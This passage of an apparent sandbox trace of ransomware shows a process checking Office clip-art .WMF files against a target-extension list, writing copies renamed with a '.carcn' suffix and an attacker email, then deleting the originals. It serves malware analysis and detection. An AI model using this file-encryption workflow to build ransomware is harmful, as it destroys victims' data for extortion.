lpString2=".WMF") returned -1 [0299.597] lstrlenW (lpString=".bz2") returned 4 [0299.597] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.597] lstrlenW (lpString=".7z") returned 3 [0299.597] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0299.597] lstrlenW (lpString=".dbf") returned 4 [0299.597] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0299.598] lstrlenW (lpString=".1cd") returned 4 [0299.598] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68 [0299.598] lstrlenW (lpString=".jpg") returned 4 [0299.598] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.598] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0299.598] lstrlenW (lpString="DD00256_.WMF") returned 12 [0299.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0299.598] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=2832) returned 1 [0299.598] CloseHandle (hObject=0x380) returned 1 [0299.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf")) returned 0x220 [0299.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0299.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0299.599] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.599] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0299.600] GetLastError () returned 0x0 [0299.600] ReadFile (in: hFile=0x380, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0xb10, lpOverlapped=0x0) returned 1 [0300.080] WriteFile (in: hFile=0x36c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xb20, lpOverlapped=0x0) returned 1 [0300.096] ReadFile (in: hFile=0x380, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0300.096] WriteFile (in: hFile=0x36c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0300.097] SetEndOfFile (hFile=0x36c) returned 1 [0300.099] CloseHandle (hObject=0x36c) returned 1 [0300.099] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.099] SetEndOfFile (hFile=0x380) returned 1 [0300.100] CloseHandle (hObject=0x380) returned 1 [0300.100] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0300.101] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf")) returned 1 [0300.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0300.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0300.102] lstrlenW (lpString=".doc") returned 4 [0300.102] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.102] lstrlenW (lpString=".docx") returned 5 [0300.102] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.102] lstrlenW (lpString=".pdf") returned 4 [0300.102] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.102] lstrlenW (lpString=".xls") returned 4 [0300.102] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.102] lstrlenW (lpString=".xlsx") returned 5 [0300.102] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.102] lstrlenW (lpString=".ppt") returned 4 [0300.102] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0300.102] lstrlenW (lpString=".zip") returned 4 [0300.102] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.102] lstrlenW (lpString=".rar") returned 4 [0300.102] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.103] lstrlenW (lpString=".bz2") returned 4 [0300.103] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.103] lstrlenW (lpString=".7z") returned 3 [0300.103] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0300.103] lstrlenW (lpString=".dbf") returned 4 [0300.103] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0300.103] lstrlenW (lpString=".1cd") returned 4 [0300.103] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0300.103] lstrlenW (lpString=".jpg") returned 4 [0300.103] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0300.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0300.103] lstrlenW (lpString=".doc") returned 4 [0300.103] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.103] lstrlenW (lpString=".docx") returned 5 [0300.103] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.103] lstrlenW (lpString=".pdf") returned 4 [0300.103] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.103] lstrlenW (lpString=".xls") returned 4 [0300.103] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.103] lstrlenW (lpString=".xlsx") returned 5 [0300.103] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.103] lstrlenW (lpString=".ppt") returned 4 [0300.104] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0300.104] lstrlenW (lpString=".zip") returned 4 [0300.104] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.104] lstrlenW (lpString=".rar") returned 4 [0300.104] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.104] lstrlenW (lpString=".bz2") returned 4 [0300.104] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.104] lstrlenW (lpString=".7z") returned 3 [0300.104] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0300.104] lstrlenW (lpString=".dbf") returned 4 [0300.104] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0300.104] lstrlenW (lpString=".1cd") returned 4 [0300.104] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0300.104] lstrlenW (lpString=".jpg") returned 4 [0300.104] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.104] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0300.104] lstrlenW (lpString="DD00437_.WMF") returned 12 [0300.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0300.105] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=1932) returned 1 [0300.105] CloseHandle (hObject=0x380) returned 1 [0300.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf")) returned 0x220 [0300.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0300.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0300.106] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.106] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0300.108] GetLastError () returned 0x0 [0300.108] ReadFile (in: hFile=0x380, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x78c, lpOverlapped=0x0) returned 1 [0300.109] WriteFile (in: hFile=0x368, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x790, lpOverlapped=0x0) returned 1 [0300.110] ReadFile (in: hFile=0x380, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0300.110] WriteFile (in: hFile=0x368, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0300.110] SetEndOfFile (hFile=0x368) returned 1 [0300.110] CloseHandle (hObject=0x368) returned 1 [0300.110] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.110] SetEndOfFile (hFile=0x380) returned 1 [0300.111] CloseHandle (hObject=0x380) returned 1 [0300.111] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0300.112] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf")) returned 1 [0300.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0300.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0300.114] lstrlenW (lpString=".doc") returned 4 [0300.114] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.114] lstrlenW (lpString=".docx") returned 5 [0300.114] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.114] lstrlenW (lpString=".pdf") returned 4 [0300.114] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.114] lstrlenW (lpString=".xls") returned 4 [0300.114] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.114] lstrlenW (lpString=".xlsx") returned 5 [0300.114] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.114] lstrlenW (lpString=".ppt") returned 4 [0300.114] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0300.114] lstrlenW (lpString=".zip") returned 4 [0300.114] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.114] lstrlenW (lpString=".rar") returned 4 [0300.115] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.115] lstrlenW (lpString=".bz2") returned 4 [0300.115] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.115] lstrlenW (lpString=".7z") returned 3 [0300.115] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0300.115] lstrlenW (lpString=".dbf") returned 4 [0300.115] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0300.115] lstrlenW (lpString=".1cd") returned 4 [0300.115] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0300.115] lstrlenW (lpString=".jpg") returned 4 [0300.115] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0300.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0300.115] lstrlenW (lpString=".doc") returned 4 [0300.115] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.115] lstrlenW (lpString=".docx") returned 5 [0300.115] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.115] lstrlenW (lpString=".pdf") returned 4 [0300.115] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.115] lstrlenW (lpString=".xls") returned 4 [0300.115] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.115] lstrlenW (lpString=".xlsx") returned 5 [0300.115] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.116] lstrlenW (lpString=".ppt") returned 4 [0300.116] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0300.116] lstrlenW (lpString=".zip") returned 4 [0300.116] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.116] lstrlenW (lpString=".rar") returned 4 [0300.116] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.116] lstrlenW (lpString=".bz2") returned 4 [0300.116] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.116] lstrlenW (lpString=".7z") returned 3 [0300.116] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0300.116] lstrlenW (lpString=".dbf") returned 4 [0300.116] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0300.116] lstrlenW (lpString=".1cd") returned 4 [0300.116] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 68 [0300.116] lstrlenW (lpString=".jpg") returned 4 [0300.116] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.116] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0300.117] lstrlenW (lpString="DD00448_.WMF") returned 12 [0300.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0300.117] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=2952) returned 1 [0300.117] CloseHandle (hObject=0x380) returned 1 [0300.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf")) returned 0x220 [0300.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0300.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0300.118] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.118] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0300.119] GetLastError () returned 0x0 [0300.119] ReadFile (in: hFile=0x380, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0xb88, lpOverlapped=0x0) returned 1 [0300.120] WriteFile (in: hFile=0x388, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xb90, lpOverlapped=0x0) returned 1 [0300.121] ReadFile (in: hFile=0x380, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0300.121] WriteFile (in: hFile=0x388, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0300.122] SetEndOfFile (hFile=0x388) returned 1 [0300.126] CloseHandle (hObject=0x388) returned 1 [0300.132] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.132] SetEndOfFile (hFile=0x380) returned 1 [0300.138] CloseHandle (hObject=0x380) returned 1 [0300.144] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0300.144] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf")) returned 1 [0300.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0300.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0300.148] lstrlenW (lpString=".doc") returned 4 [0300.148] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.148] lstrlenW (lpString=".docx") returned 5 [0300.148] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.148] lstrlenW (lpString=".pdf") returned 4 [0300.148] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.148] lstrlenW (lpString=".xls") returned 4 [0300.148] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.148] lstrlenW (lpString=".xlsx") returned 5 [0300.148] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.148] lstrlenW (lpString=".ppt") returned 4 [0300.149] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0300.149] lstrlenW (lpString=".zip") returned 4 [0300.149] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.149] lstrlenW (lpString=".rar") returned 4 [0300.149] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.149] lstrlenW (lpString=".bz2") returned 4 [0300.149] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.149] lstrlenW (lpString=".7z") returned 3 [0300.149] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0300.149] lstrlenW (lpString=".dbf") returned 4 [0300.149] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0300.149] lstrlenW (lpString=".1cd") returned 4 [0300.149] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0300.149] lstrlenW (lpString=".jpg") returned 4 [0300.149] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0300.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0300.149] lstrlenW (lpString=".doc") returned 4 [0300.149] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.149] lstrlenW (lpString=".docx") returned 5 [0300.149] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.149] lstrlenW (lpString=".pdf") returned 4 [0300.150] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.150] lstrlenW (lpString=".xls") returned 4 [0300.150] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.150] lstrlenW (lpString=".xlsx") returned 5 [0300.150] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.150] lstrlenW (lpString=".ppt") returned 4 [0300.150] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0300.150] lstrlenW (lpString=".zip") returned 4 [0300.150] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.150] lstrlenW (lpString=".rar") returned 4 [0300.150] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.150] lstrlenW (lpString=".bz2") returned 4 [0300.150] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.150] lstrlenW (lpString=".7z") returned 3 [0300.150] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0300.150] lstrlenW (lpString=".dbf") returned 4 [0300.150] 